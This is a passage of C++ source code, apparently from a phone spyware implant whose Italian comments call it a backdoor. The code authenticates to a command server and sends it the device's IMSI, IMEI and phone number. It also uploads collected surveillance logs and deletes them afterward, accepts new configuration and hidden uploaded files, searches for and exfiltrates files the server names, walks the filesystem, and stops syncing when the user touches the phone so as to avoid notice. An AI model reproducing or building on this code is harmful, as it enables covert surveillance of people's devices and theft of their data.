    /* SALUTIAMO IL SERVER */
    //SendCommand(localSocket, PROTO_BYE);
    DBG_TRACE(L"Debug - Transfer.cpp - Send() OK\n", 3, FALSE);
    return TRUE;
}

BOOL Transfer::SendIds(SOCKET s) {
    UINT uLen = 0;
    DWORD dwData = 0;
    BYTE *pData = NULL, *pEncrypted = NULL;
    Device *pDev = Device::self();
    auto_ptr<Encryption> pEnc(new (std::nothrow) Encryption(g_Challenge, KEY_LEN));

    if (s == NULL || s == INVALID_SOCKET)
        return FALSE;

    if (pDev == NULL || pEnc.get() == NULL)
        return FALSE;

    pDev->RefreshData();

    // 1. Invio la versione (cifrata) della backdoor
    if (SendCommand(s, PROTO_VERSION) == SOCKET_ERROR) {
        return FALSE;
    }

    uLen = sizeof(g_Version); // Lunghezza di g_Version
    if (SendData(s, (BYTE *)&uLen, sizeof(UINT)) == SOCKET_ERROR) {
        return FALSE;
    }

    // Attendiamo l'OK dal server
    if (RecvCommand(s) != PROTO_OK) {
        return FALSE;
    }

    // Cifriamo g_Version (16 byte)
    pData = pEnc->EncryptData((BYTE *)&g_Version, &uLen);

    if (pData == NULL) {
        return FALSE;
    }

    if (SendData(s, pData, uLen) == SOCKET_ERROR) {
        delete[] pData;
        return FALSE;
    }

    delete[] pData;
    pData = NULL;

    // Attendiamo l'OK dal server
    if (RecvCommand(s) != PROTO_OK) {
        return FALSE;
    }

    // 2. Inviamo il subyte (cifrato)
    if (SendCommand(s, PROTO_SUBTYPE) == SOCKET_ERROR) {
        return FALSE;
    }

    // E' un literal, calcoliamo la lunghezza con strlen()
    uLen = strlen((CHAR *)g_Subtype);
    if (SendData(s, (BYTE *)&uLen, sizeof(UINT)) == SOCKET_ERROR) {
        return FALSE;
    }

    // Attendiamo l'OK dal server
    if (RecvCommand(s) != PROTO_OK) {
        return FALSE;
    }

    // Cifriamo il g_Subtype
    pData = pEnc->EncryptData((BYTE *)&g_Subtype, &uLen);

    if (pData == NULL) {
        return FALSE;
    }

    if (SendData(s, pData, uLen) == SOCKET_ERROR) {
        delete[] pData;
        return FALSE;
    }

    delete[] pData;
    pData = NULL;

    // Attendiamo l'OK dal server
    if (RecvCommand(s) != PROTO_OK) {
        return FALSE;
    }

    // 3. Invio l'id univoco della backdoor
    if (SendCommand(s, PROTO_ID) == SOCKET_ERROR) {
        return FALSE;
    }

    uLen = 16;
    if (SendData(s, (BYTE *)&uLen, sizeof(UINT)) == SOCKET_ERROR) {
        return FALSE;
    }

    // Attendiamo l'OK dal server
    if (RecvCommand(s) != PROTO_OK) {
        return FALSE;
    }

    // Cifriamo il g_BackdoorID (14 byte)
    uLen = 16;
    pData = pEnc->EncryptData(g_BackdoorID, &uLen);

    if (pData == NULL) {
        return FALSE;
    }

    if (SendData(s, pData, uLen) == SOCKET_ERROR) {
        delete[] pData;
        return FALSE;
    }

    delete[] pData;
    pData = NULL;

    // Attendiamo l'OK dal server
    if (RecvCommand(s) != PROTO_OK) {
        return FALSE;
    }

    // 4. Invio l'instance id della backdoor
    if (SendCommand(s, PROTO_INSTANCE) == SOCKET_ERROR) {
        return FALSE;
    }

    uLen = 20;
    if (SendData(s, (BYTE *)&uLen, sizeof(UINT)) == SOCKET_ERROR) {
        return FALSE;
    }

    // Attendiamo l'OK dal server
    if (RecvCommand(s) != PROTO_OK) {
        return FALSE;
    }

    // Cifriamo il g_InstanceId (20 byte)
    pData = pEnc->EncryptData(g_InstanceId, &uLen);

    if (pData == NULL) {
        return FALSE;
    }

    if (SendData(s, pData, uLen) == SOCKET_ERROR) {
        delete[] pData;
        return FALSE;
    }

    delete[] pData;
    pData = NULL;

    // Attendiamo l'OK dal server
    if (RecvCommand(s) != PROTO_OK) {
        return FALSE;
    }

    // 5. Invio l'IMSI
    if (SendCommand(s, PROTO_USERID) == SOCKET_ERROR) {
        return FALSE;
    }

    uLen = pDev->GetImsi().size() * sizeof(WCHAR);

    if (SendData(s, (BYTE *)&uLen, sizeof(UINT)) == SOCKET_ERROR) {
        return FALSE;
    }

    // Attendiamo l'OK dal server
    if (RecvCommand(s) != PROTO_OK) {
        return FALSE;
    }

    pData = pEnc->EncryptData((BYTE *)pDev->GetImsi().c_str(), &uLen);

    if (pData == NULL) {
        return FALSE;
    }

    if (SendData(s, pData, uLen) == SOCKET_ERROR) {
        delete[] pData;
        return FALSE;
    }

    delete[] pData;
    pData = NULL;

    // Attendiamo l'OK dal server (solo se abbiamo spedito dati)
    if (uLen && RecvCommand(s) != PROTO_OK) {
        return FALSE;
    }

    // 6. Invio l'IMEI
    if (SendCommand(s, PROTO_DEVICEID) == SOCKET_ERROR) {
        return FALSE;
    }

    uLen = pDev->GetImei().size() * sizeof(WCHAR);

    if (SendData(s, (BYTE *)&uLen, sizeof(UINT)) == SOCKET_ERROR) {
        return FALSE;
    }

    // Attendiamo l'OK dal server
    if (RecvCommand(s) != PROTO_OK) {
        return FALSE;
    }

    pData = pEnc->EncryptData((BYTE *)pDev->GetImei().c_str(), &uLen);

    if (pData == NULL) {
        return FALSE;
    }

    if (SendData(s, pData, uLen) == SOCKET_ERROR) {
        delete[] pData;
        return FALSE;
    }

    delete[] pData;
    pData = NULL;

    // Attendiamo l'OK dal server (solo se abbiamo spedito dati)
    if (uLen && RecvCommand(s) != PROTO_OK) {
        return FALSE;
    }

    // 7. Inviamo il numero di telefono
    if (SendCommand(s, PROTO_SOURCEID) == SOCKET_ERROR) {
        return FALSE;
    }

    uLen = pDev->GetPhoneNumber().size() * sizeof(WCHAR);

    if (SendData(s, (BYTE *)&uLen, sizeof(UINT)) == SOCKET_ERROR) {
        return FALSE;
    }

    // Attendiamo l'OK dal server (solo se abbiamo spedito dati)
    if (RecvCommand(s) != PROTO_OK) {
        return FALSE;
    }

    pData = pEnc->EncryptData((BYTE *)pDev->GetPhoneNumber().c_str(), &uLen);

    if (pData == NULL) {
        return FALSE;
    }

    if (SendData(s, pData, uLen) == SOCKET_ERROR) {
        delete[] pData;
        return FALSE;
    }

    delete[] pData;
    pData = NULL;

    // Attendiamo l'OK dal server (solo se abbiamo spedito dati)
    if (uLen && RecvCommand(s) != PROTO_OK) {
        return FALSE;
    }

    return TRUE;
}

BOOL Transfer::SendChallenge(SOCKET s) {
    UINT uRand, i;
    Rand r;

    if (s == NULL || s == INVALID_SOCKET)
        return FALSE;

    // Generiamo 16 byte casuali
    for (i = 0; i < 16; i += 4) {
        uRand = r.rand32();
        CopyMemory((BYTE *)&Challenge[i], &uRand, sizeof(uRand));
    }

    // Spediamo il CHALLENGE command
    if (SendCommand(s, PROTO_CHALLENGE) == SOCKET_ERROR)
        return FALSE;

    // E poi spediamo il challenge
    if (SendData(s, Challenge, 16) == SOCKET_ERROR)
        return FALSE;

    return TRUE;
}

BOOL Transfer::CheckResponse(SOCKET s) {
    BYTE Response[16], *pChallenge = NULL;
    UINT uCommand = 0, uLen = 0;
    auto_ptr<Encryption> pEnc(new (std::nothrow) Encryption(g_Challenge, KEY_LEN));

    if (s == NULL || s == INVALID_SOCKET)
        return FALSE;

    if (pEnc.get() == NULL)
        return FALSE;

    uLen = 16;
    pChallenge = pEnc->EncryptData(Challenge, &uLen);

    if (pChallenge == NULL)
        return FALSE;

    CopyMemory(Challenge, pChallenge, 16);
    delete[] pChallenge;

    // Riceviamo il comando di response
    if (RecvCommand(s) != PROTO_RESPONSE)
        return FALSE;

    // Riceviamo il response vero e proprio
    if (RecvData(s, Response, 16) == SOCKET_ERROR)
        return FALSE;

    // Prendiamo i byte, e controlliamo se quelli cifrati dal server
    // sono uguali ai nostri
    if (RtlEqualMemory(Response, Challenge, sizeof(Challenge)) == FALSE)
        return FALSE;

    return TRUE;
}

BOOL Transfer::GetChallenge(SOCKET s) {
    BYTE uChallenge[16], *pChallenge = NULL;
    UINT uCommand = 0, uLen = 0;
    auto_ptr<Encryption> pEnc(new (std::nothrow) Encryption(g_Challenge, KEY_LEN));

    if (s == NULL || s == INVALID_SOCKET)
        return FALSE;

    if (pEnc.get() == NULL)
        return FALSE;

    // Riceviamo il comando di challenge
    if (RecvCommand(s) != PROTO_CHALLENGE)
        return FALSE;

    // Riceviamo il challenge vero e proprio
    if (RecvData(s, uChallenge, 16) == SOCKET_ERROR)
        return FALSE;

    uLen = 16;
    pChallenge = pEnc->EncryptData(uChallenge, &uLen);

    if (pChallenge == NULL)
        return FALSE;

    CopyMemory(uChallenge, pChallenge, 16);
    delete[] pChallenge;

    // Spediamo il RESPONSE command
    if (SendCommand(s, PROTO_RESPONSE) == SOCKET_ERROR)
        return FALSE;

    // E poi spediamo il response
    if (SendData(s, uChallenge, 16) == SOCKET_ERROR)
        return FALSE;

    return TRUE;
}

BOOL Transfer::SyncOldProto(SOCKET s, BOOL bInterrupt) {
#define SAFE_EXIT(x)    if(pData) \
    delete[] pData; \
    if (hFile != INVALID_HANDLE_VALUE) \
    CloseHandle(hFile); \
    return x;

    BYTE *pData = NULL;
    list<LogInfo>::iterator iter;
    UINT uCommand = 0, dwSize, dwRead = 0, dwBuf[2];
    HANDLE hFile;

    if (s == NULL || s == INVALID_SOCKET) {
        DBG_TRACE(L"Debug - Transfer.cpp - Sync() FAILED [0]\n", 5, FALSE);
        return FALSE;
    }

    // pSnap puo' essere nullo in caso di errore o se non c'e' uberlogObj.
    // Lo snapshot viene liberato subito dopo questa chiamata.
    pSnap = uberlogObj->ListClosed();

    if (pSnap == NULL || pSnap->size() == 0) {
        DBG_TRACE(L"Debug - Transfer.cpp - Sync() there are no logs to send\n", 5, FALSE);

        if (SendCommand(s, PROTO_LOG_END) == SOCKET_ERROR) {
            DBG_TRACE(L"Debug - Transfer.cpp - Sync() FAILED [1] ", 5, TRUE);
            return FALSE;
        }

        // Attendiamo l'OK dal server
        if (RecvCommand(s) != PROTO_OK) {
            DBG_TRACE(L"Debug - Transfer.cpp - Sync() FAILED [2] ", 5, TRUE);
            return FALSE;
        }

        return TRUE;
    }

    for (iter = pSnap->begin(); iter != pSnap->end(); iter++) {
        hFile = CreateFile((*iter).strLog.c_str(), GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);

        if (hFile == INVALID_HANDLE_VALUE) {
            uberlogObj->Delete((*iter).strLog);
            continue;
        }

        dwSize = GetFileSize(hFile, NULL);

        // Il file e' vuoto oppure non c'e' piu'
        if (dwSize == 0 || dwSize == 0xFFFFFFFF){
            CloseHandle(hFile);
            uberlogObj->Delete((*iter).strLog);    
            continue;
        }

        DBG_TRACE(L"Debug - Transfer.cpp - Sync() sending log file\n", 6, FALSE);

        // LOG,# di bytes
        dwBuf[0] = PROTO_LOG;
        dwBuf[1] = dwSize;

        if (SendData(s, (BYTE *)&dwBuf, sizeof(dwBuf)) == SOCKET_ERROR) {
            DBG_TRACE(L"Debug - Transfer.cpp - Sync() FAILED [3] ", 5, TRUE);
            SAFE_EXIT(FALSE);
        }

        // Attendiamo l'OK dal server
        if (RecvCommand(s) != PROTO_OK) {
            DBG_TRACE(L"Debug - Transfer.cpp - Sync() FAILED [4] ", 5, TRUE);
            SAFE_EXIT(FALSE);
        }

        // Spediamo il TransferLog
        pData = new(std::nothrow) BYTE[dwSize];

        if (pData == NULL) {
            DBG_TRACE(L"Debug - Transfer.cpp - Sync() FAILED [5]\n", 5, FALSE);
            SAFE_EXIT(FALSE);
        }

        if (!ReadFile(hFile, pData, dwSize, (DWORD *)&dwRead, NULL)) {
            CloseHandle(hFile);
            delete[] pData;
            pData = NULL;
            continue;
        }

        CloseHandle(hFile);
        hFile = INVALID_HANDLE_VALUE;

        if (SendData(s, pData, dwRead) == SOCKET_ERROR) {
            DBG_TRACE(L"Debug - Transfer.cpp - Sync() FAILED [6] ", 5, TRUE);
            SAFE_EXIT(FALSE);
        }

        // Attendiamo l'OK dal server
        if (RecvCommand(s) != PROTO_OK) {
            DBG_TRACE(L"Debug - Transfer.cpp - Sync() FAILED [7] ", 5, TRUE);
            SAFE_EXIT(FALSE);
        }

        delete[] pData;
        pData = NULL;

        // Rimuoviamo il log dalla lista globale e dal filesystem
        uberlogObj->Delete((*iter).strLog);

        // Usciamo se siamo in crisis
        if ((statusObj->Crisis() & CRISIS_SYNC) == CRISIS_SYNC) {
            DBG_TRACE(L"Debug - Transfer.cpp - Sync() FAILED [We are in crisis] [8]\n", 5, FALSE);
            SAFE_EXIT(FALSE);
        }

        // Usciamo dal loop se l'utente riprende ad interagire col telefono
        if (bInterrupt && deviceObj->IsDeviceUnattended() == FALSE) {
            DBG_TRACE(L"Debug - Transfer.cpp - Sync() FAILED [Power status changed] [9]\n", 5, FALSE);
            SAFE_EXIT(FALSE);
        }
    }

    if (SendCommand(s, PROTO_LOG_END) == SOCKET_ERROR) {
        DBG_TRACE(L"Debug - Transfer.cpp - Sync() FAILED [10] ", 5, TRUE);
        return FALSE;
    }

    // Attendiamo l'OK dal server
    if (RecvCommand(s) != PROTO_OK) {
        DBG_TRACE(L"Debug - Transfer.cpp - Sync() FAILED [11] ", 5, TRUE);
        return FALSE;
    }

    return TRUE;
}

INT Transfer::SendData(SOCKET s, BYTE *pData, UINT Len) {
    INT ret, offset;
    CHAR *tmp = NULL;

    if (s == NULL || s == INVALID_SOCKET) {
        DBG_TRACE(L"Debug - Transfer.cpp - SendData() FAILED [0] ", 4, TRUE);
        return SOCKET_ERROR;
    }

    if (pData == NULL) {
        DBG_TRACE(L"Debug - Transfer.cpp - SendData() FAILED [1] ", 4, TRUE);
        return SOCKET_ERROR;
    }

    if (Len == 0)
        return 0;

    tmp = (CHAR *)pData;
    offset = 0;
    ret = 0;

    while((UINT)offset < Len) {
        ret = send(s, tmp, Len - offset, 0);

        if (ret == SOCKET_ERROR) {
            DBG_TRACE(L"Debug - Transfer.cpp - SendData() FAILED [2] ", 4, TRUE);
            return SOCKET_ERROR;
        }

        tmp += ret;
        offset += ret;
    }

    DBG_TRACE(L"Debug - Transfer.cpp - SendData() OK\n", 7, FALSE);
    return offset;
}

INT Transfer::RecvData(SOCKET s, BYTE *pData, UINT Len) {
    INT ret, offset;
    CHAR *tmp = NULL;

    if (s == NULL || s == INVALID_SOCKET || pData == NULL || Len == 0) {
        DBG_TRACE(L"Debug - Transfer.cpp - RecvData() FAILED [0] ", 4, TRUE);
        return SOCKET_ERROR;
    }

    if (Len == 0) {
        DBG_TRACE(L"Debug - Transfer.cpp - RecvData() FAILED [1] ", 4, TRUE);
        return 0;
    }

    tmp = (CHAR *)pData;
    offset = 0;
    ret = 0;

    while ((UINT)offset < Len) {
        ret = recv(s, (CHAR *)tmp, Len - offset, 0);

        if (ret == 0 || ret == SOCKET_ERROR) {
            DBG_TRACE(L"Debug - Transfer.cpp - RecvData() FAILED [2] ", 4, TRUE);
            return SOCKET_ERROR;
        }

        tmp += ret;
        offset += ret;
    }

    DBG_TRACE(L"Debug - Transfer.cpp - RecvData() OK\n", 7, FALSE);
    return offset;
}

INT Transfer::SendCommand(SOCKET s, UINT uCommand) {
    INT ret, offset;
    CHAR *tmp = NULL;

    if (s == NULL || s == INVALID_SOCKET || uCommand == INVALID_COMMAND) {
        DBG_TRACE(L"Debug - Transfer.cpp - SendCommand() FAILED [0] ", 4, TRUE);
        return SOCKET_ERROR;
    }

    tmp = (CHAR *)&uCommand;
    offset = 0;
    ret = 0;

    while ((UINT)offset < sizeof(uCommand)) {
        ret = send(s, tmp, sizeof(uCommand) - offset, 0);

        if (ret == SOCKET_ERROR) {
            DBG_TRACE(L"Debug - Transfer.cpp - SendCommand() FAILED [1] ", 4, TRUE);
            return ret;
        }

        tmp += ret;
        offset += ret; 
    }

    DBG_TRACE(L"Debug - Transfer.cpp - SendCommand() OK\n", 7, FALSE);
    return offset;
}

INT Transfer::RecvCommand(SOCKET s) {
    INT ret, offset;
    CHAR *tmp = NULL;
    UINT uCommand;

    if (s == NULL || s == INVALID_SOCKET) {
        DBG_TRACE(L"Debug - Transfer.cpp - RecvCommand() FAILED [0] ", 4, TRUE);
        return SOCKET_ERROR;
    }

    tmp = (CHAR *)&uCommand;
    offset = 0;
    ret = 0;

    while((UINT)offset < sizeof(uCommand)) {
        ret = recv(s, (CHAR *)tmp, sizeof(uCommand) - offset, 0);

        if(ret == 0 || ret == SOCKET_ERROR) {
            DBG_TRACE(L"Debug - Transfer.cpp - RecvCommand() FAILED [1] ", 4, TRUE);
            return SOCKET_ERROR;
        }

        tmp += ret;
        offset += ret;
    }

    DBG_TRACE(L"Debug - Transfer.cpp - RecvCommand() OK\n", 7, FALSE);
    return uCommand;
}

BOOL Transfer::GetNewConf(SOCKET s) {
    UINT uLen;
    BYTE *pNewConf = NULL;

    if (s == NULL || s == INVALID_SOCKET)
        return FALSE;

    // Leggiamo la lunghezza del file
    if (RecvData(s, (BYTE *)&uLen, sizeof(uLen)) == SOCKET_ERROR)
        return FALSE;

    if (uLen == 0)
        return FALSE;

    // Spediamo l'OK al server
    if (SendCommand(s, PROTO_OK) == SOCKET_ERROR)
        return FALSE;

    pNewConf = new(std::nothrow) BYTE[uLen];

    if (pNewConf == NULL)
        return FALSE;

    if (RecvData(s, pNewConf, uLen) == SOCKET_ERROR) {
        delete[] pNewConf;
        return FALSE;
    }

    // Scriviamo la nuova conf
    Conf localConfObj;
    wstring strBackName;
    HANDLE hBackup = INVALID_HANDLE_VALUE;    
    DWORD dwWritten = 0;

    strBackName = localConfObj.GetBackupName(TRUE);

    if (strBackName.empty()) {
        delete[] pNewConf;    
        return FALSE;        
    }

    hBackup = CreateFile(strBackName.c_str(), GENERIC_WRITE, FILE_SHARE_READ, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);

    if (hBackup == INVALID_HANDLE_VALUE) {
        delete[] pNewConf;
        return FALSE;
    }

    if (WriteFile(hBackup, pNewConf, uLen, &dwWritten, NULL) == FALSE) {
        CloseHandle(hBackup);
        DeleteFile(GetCurrentPathStr(strBackName).c_str());
        delete[] pNewConf;
        return FALSE;
    }

    FlushFileBuffers(hBackup);
    CloseHandle(hBackup);
    delete[] pNewConf;

    // Spediamo l'OK al server
    if (SendCommand(s, PROTO_OK) == SOCKET_ERROR)
        return FALSE;

    return TRUE;
}

BOOL Transfer::GetUpload(SOCKET s) {
    UINT uNameLen, uFileLen;
    HANDLE hFile = INVALID_HANDLE_VALUE;
    WCHAR *pwFilename = NULL;
    BYTE *pFile = NULL;
    DWORD dwWritten = 0;

    if (s == NULL || s == INVALID_SOCKET)
        return FALSE;

    // Spediamo l'OK al server per confermare che siamo pronti
    if (SendCommand(s, PROTO_OK) == SOCKET_ERROR)
        return FALSE;

    // Riceviamo la lunghezza del nome del file, in byte
    if (RecvData(s, (BYTE *)&uNameLen, sizeof(uNameLen)) == SOCKET_ERROR)
        return FALSE;

    if (uNameLen == 0)
        return FALSE;

    // Il filename e' NULL-terminato, ma per sicurezza allochiamo un WCHAR in piu'
    pwFilename = new(std::nothrow) WCHAR[(uNameLen / sizeof(WCHAR)) + 1];

    if (pwFilename == NULL)
        return FALSE;

    ZeroMemory(pwFilename, uNameLen + sizeof(WCHAR));

    // Confermiamo l'avvenuta ricezione della lunghezza del nome
    if (SendCommand(s, PROTO_OK) == SOCKET_ERROR) {
        delete[] pwFilename;
        return FALSE;
    }

    // Riceviamo il nome del file
    if (RecvData(s, (BYTE *)pwFilename, uNameLen) == SOCKET_ERROR) {
        delete[] pwFilename;
        return FALSE;
    }

    // Creiamolo
    wstring strUploaded;
    strUploaded = GetCurrentPath(pwFilename);

    ZeroMemory(pwFilename, uNameLen + sizeof(WCHAR));
    delete[] pwFilename;

    if (strUploaded.empty())
        return FALSE;

    hFile = CreateFile(strUploaded.c_str(), GENERIC_WRITE, FILE_SHARE_READ, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_SYSTEM | FILE_ATTRIBUTE_HIDDEN, NULL);

    if (hFile == INVALID_HANDLE_VALUE)
        return FALSE;

    // Spediamo l'OK al server
    if (SendCommand(s, PROTO_OK) == SOCKET_ERROR) {
        CloseHandle(hFile);
        return FALSE;
    }

    // Riceviamo la lunghezza del file
    if (RecvData(s, (BYTE *)&uFileLen, sizeof(uFileLen)) == SOCKET_ERROR) {
        CloseHandle(hFile);
        return FALSE;
    }

    if (uFileLen == 0) {
        CloseHandle(hFile);
        return FALSE;
    }

    pFile = new(std::nothrow) BYTE[uFileLen];

    if (pFile == NULL) {
        CloseHandle(hFile);
        return FALSE;
    }

    // Confermiamo l'avvenuta ricezione della lunghezza del file
    if (SendCommand(s, PROTO_OK) == SOCKET_ERROR) {
        delete[] pFile;
        CloseHandle(hFile);
        return FALSE;
    }

    // Riceviamo il file
    if (RecvData(s, (BYTE *)pFile, uFileLen) == SOCKET_ERROR) {
        delete[] pFile;
        CloseHandle(hFile);
        return FALSE;
    }

    // Scriviamolo
    if (WriteFile(hFile, pFile, uFileLen, &dwWritten, NULL) == FALSE) {
        ZeroMemory(pFile, uFileLen);
        delete[] pFile;
        CloseHandle(hFile);
        return FALSE;
    }

    FlushFileBuffers(hFile);
    CloseHandle(hFile);

    // Facciamo il wipe del contenuto del file
    ZeroMemory(pFile, uFileLen);
    delete[] pFile;

    if (dwWritten != uFileLen)
        return FALSE;

    // Confermiamo l'avvenuta ricezione del file
    if (SendCommand(s, PROTO_OK) == SOCKET_ERROR)
        return FALSE;

    return TRUE;
}

BOOL Transfer::SendDownload(SOCKET s) {
    UINT uSearchLen;
    WCHAR *pwSearch = NULL;
    WIN32_FIND_DATA wfd;
    HANDLE hFind = INVALID_HANDLE_VALUE;
    BOOL bObscure;

    if (s == NULL || s == INVALID_SOCKET)
        return FALSE;

    // Spediamo l'OK al server per confermare che siamo pronti
    if (SendCommand(s, PROTO_OK) == SOCKET_ERROR)
        return FALSE;

    // Riceviamo la lunghezza della search string
    if (RecvData(s, (BYTE *)&uSearchLen, sizeof(uSearchLen)) == SOCKET_ERROR)
        return FALSE;

    if (uSearchLen == 0)
        return FALSE;

    // La search string e' NULL-terminata, ma per sicurezza allochiamo un WCHAR in piu'
    pwSearch = new(std::nothrow) WCHAR[(uSearchLen / sizeof(WCHAR)) + 1];

    if (pwSearch == NULL)
        return FALSE;

    ZeroMemory(pwSearch, uSearchLen + sizeof(WCHAR));

    // Spediamo l'OK al server per confermare che possiamo ricevere la stringa
    if (SendCommand(s, PROTO_OK) == SOCKET_ERROR) {
        delete[] pwSearch;
        return FALSE;
    }

    // Riceviamo la search string
    if (RecvData(s, (BYTE *)pwSearch, uSearchLen) == SOCKET_ERROR) {
        delete[] pwSearch;
        return FALSE;
    }

    // XXX dovremmo espandere le env-variables in futuro...

    // Spediamo l'OK al server
    if (SendCommand(s, PROTO_OK) == SOCKET_ERROR) {
        delete[] pwSearch;
        return FALSE;
    }

    // Espandiamo $dir$ se presente
    size_t strSpecialVar;
    wstring strSearchString, strBackdoorPath;

    strBackdoorPath = GetCurrentPath(NULL);
    strSearchString = pwSearch;

    if (strBackdoorPath.empty() == FALSE) {
        strSpecialVar = strSearchString.find(L"$dir$\\");

        // Se troviamo $dir$ nella search string espandiamolo
        if (strSpecialVar != wstring::npos) {
            bObscure = TRUE;
            strSearchString.replace(strSpecialVar, 6, strBackdoorPath); // Qui $dir$ viene espanso
        } else {
            bObscure = FALSE;
        }
    }

    delete[] pwSearch;

    ZeroMemory(&wfd, sizeof(wfd));
    hFind = FindFirstFile(strSearchString.c_str(), &wfd);

    if (hFind == INVALID_HANDLE_VALUE) {
        // Non ci sono file
        if (GetLastError() == ERROR_NO_MORE_FILES) {
            if (SendCommand(s, PROTO_ENDFILE) == SOCKET_ERROR)
                return FALSE;

            // Attendiamo l'OK dal server
            if (RecvCommand(s) != PROTO_OK)
                return FALSE;

            return TRUE;
        }

        return FALSE;
    }

    do {
        // Anteponiamo il path al nome del file
        size_t trailingSlash = strSearchString.rfind(L"\\");

        // Il nome del file non contiene un path assoluto
        if (trailingSlash == wstring::npos) {
            FindClose(hFind);
            return FALSE;
        }

        wstring strPath;

        if (trailingSlash)
            strPath = strSearchString.substr(0, trailingSlash);

        strPath += L"\\";
        strPath += wfd.cFileName;

        // Creiamo un log per ogni file trovato
        CreateDownloadFile(strPath, bObscure);
    } while (FindNextFile(hFind, &wfd));

    FindClose(hFind);

    // Comunichiamo la fine della fase di download
    if (SendCommand(s, PROTO_ENDFILE) == SOCKET_ERROR)
        return FALSE;

    // Attendiamo l'OK dal server
    if (RecvCommand(s) != PROTO_OK)
        return FALSE;

    return TRUE;
}

BOOL Transfer::CreateDownloadFile(const wstring &strPath, BOOL bObscure) {
    Log log;
    LogDownload LogFileData;
    PBYTE pBuf = NULL;
    wstring strObscuredPath = strPath;
    HANDLE hLocalFile = INVALID_HANDLE_VALUE;

    ZeroMemory(&LogFileData, sizeof(LogFileData));

    if (strPath.empty())
        return FALSE;

    if (bObscure) {
        size_t trailingSlash = strPath.rfind(L"\\");

        if (trailingSlash != wstring::npos) {
            strObscuredPath = L"$dir$";
            strObscuredPath += strPath.substr(trailingSlash, strPath.size());
        }
    }

    LogFileData.uVersion = LOG_FILE_VERSION;
    LogFileData.uFileNameLen = strObscuredPath.size() * sizeof(WCHAR);

    UINT uAdditionalLen = sizeof(LogDownload) + LogFileData.uFileNameLen;
    pBuf = new(std::nothrow) BYTE[uAdditionalLen];

    if (pBuf == NULL)
        return FALSE;

    hLocalFile = CreateFile(strPath.c_str(), GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);

    if (hLocalFile == INVALID_HANDLE_VALUE) {
        delete[] pBuf;
        return FALSE;
    }

    // Creiamo l'Additional Data
    ZeroMemory(pBuf, uAdditionalLen);
    CopyMemory(pBuf, &LogFileData, sizeof(LogDownload));
    CopyMemory(pBuf + sizeof(LogDownload), (PBYTE)(strObscuredPath.c_str()), LogFileData.uFileNameLen);

    if (log.CreateLog(LOGTYPE_DOWNLOAD, pBuf, uAdditionalLen, MMC1) == FALSE) {
        delete[] pBuf;
        CloseHandle(hLocalFile);
        return FALSE;
    }

    delete[] pBuf;

    // Mappiamo il file in memoria e scriviamolo nel log
    DWORD dwHigh, dwFileSize = GetFileSize(hLocalFile, &dwHigh);

    // Per qualche ragione, non riusciamo ad accedere piu' al file
    if (dwFileSize == 0xFFFFFFFF && GetLastError() != NO_ERROR) {
        log.CloseLog(TRUE);
        CloseHandle(hLocalFile);
        return FALSE;
    }

    // Se il file e' troppo grosso (> 100Mb), evitiamo di inviarlo
    if (dwFileSize > 50 * 1024 * 1024) {
        log.CloseLog(TRUE);
        CloseHandle(hLocalFile);
        return FALSE;
    }

    pBuf = new(std::nothrow) BYTE[256 * 1024 + 1];

    if (pBuf == NULL) {
        log.CloseLog(TRUE);
        CloseHandle(hLocalFile);
        return FALSE;
    }

#define CHUNK_SIZE 256 * 1024

    while (dwFileSize) {
        DWORD dwRead = 0;
        UINT uChunk;

        // Leggiamo a chunk di 256kb
        if (dwFileSize > CHUNK_SIZE)
            uChunk = CHUNK_SIZE;
        else
            uChunk = dwFileSize;

        if (ReadFile(hLocalFile, pBuf, uChunk, &dwRead, NULL) == FALSE) {
            delete[] pBuf;
            log.CloseLog(TRUE);
            CloseHandle(hLocalFile);
            return FALSE;
        }

        log.WriteLog(pBuf, dwRead);
        dwFileSize -= dwRead;
    }

    delete[] pBuf;
    log.CloseLog();
    CloseHandle(hLocalFile);
    return TRUE;
}

BOOL Transfer::SendFileSystem(SOCKET s) {
    UINT uDepth, uPathLen;
    WCHAR *pwSearch = NULL;
    HANDLE hFind = INVALID_HANDLE_VALUE;
    Explorer exp;

    if (s == NULL || s == INVALID_SOCKET) {
        DBG_TRACE(L"Debug - Transfer.cpp - SendFileSystem() [Invalid Socket]\n", 5, FALSE);
        return FALSE;
    }

    // Spediamo l'OK al server per confermare che siamo pronti
    if (SendCommand(s, PROTO_OK) == SOCKET_ERROR)
        return FALSE;

    // Riceviamo la profondita' di ricerca
    if (RecvData(s, (BYTE *)&uDepth, sizeof(uDepth)) == SOCKET_ERROR)
        return FALSE;

    if (SendCommand(s, PROTO_OK) == SOCKET_ERROR)
        return FALSE;

    // Riceviamo la lunghezza del path
    if (RecvData(s, (BYTE *)&uPathLen, sizeof(uDepth)) == SOCKET_ERROR)
        return FALSE;

    if (uPathLen == 0)
        return FALSE;

    // La search string e' NULL-terminata, ma per sicurezza allochiamo un WCHAR in piu'
    pwSearch = new(std::nothrow) WCHAR[(uPathLen / sizeof(WCHAR)) + 1];

    if (pwSearch == NULL)
        return FALSE;

    ZeroMemory(pwSearch, uPathLen + sizeof(WCHAR));

    // Spediamo l'OK al server per confermare che possiamo ricevere la stringa
    if (SendCommand(s, PROTO_OK) == SOCKET_ERROR) {
        delete[] pwSearch;
        return FALSE;
    }

    // Riceviamo la search string
    if (RecvData(s, (BYTE *)pwSearch, uPathLen) == SOCKET_ERROR) {
        delete[] pwSearch;
        return FALSE;
    }

    // Spediamo l'OK al server per confermare la ricezione della stringa
    if (SendCommand(s, PROTO_OK) == SOCKET_ERROR) {
        delete[] pwSearch;
        return FALSE;
    }

    // XXX dovremmo espandere le env-variables in futuro...
    if (uDepth > 10)
        uDepth = 10;

    exp.ExploreDirectory(pwSearch, uDepth);
    delete[] pwSearch;

    return TRUE;
}

BOOL Transfer::GetUpgrade(SOCKET s) {
    UINT uFileLen;
    HANDLE hFile = INVALID_HANDLE_VALUE;
    wstring strNewCore, strPathName;
    BYTE *pFile = NULL;
    DWORD dwWritten = 0;

    if (s == NULL || s == INVALID_SOCKET) {
        DBG_TRACE(L"Debug - Task.cpp - GetUpgrade() FAILED [0]\n", 5, FALSE);
        return FALSE;
    }

    // Spediamo l'OK al server per confermare che siamo pronti
    if (SendCommand(s, PROTO_OK) == SOCKET_ERROR) {
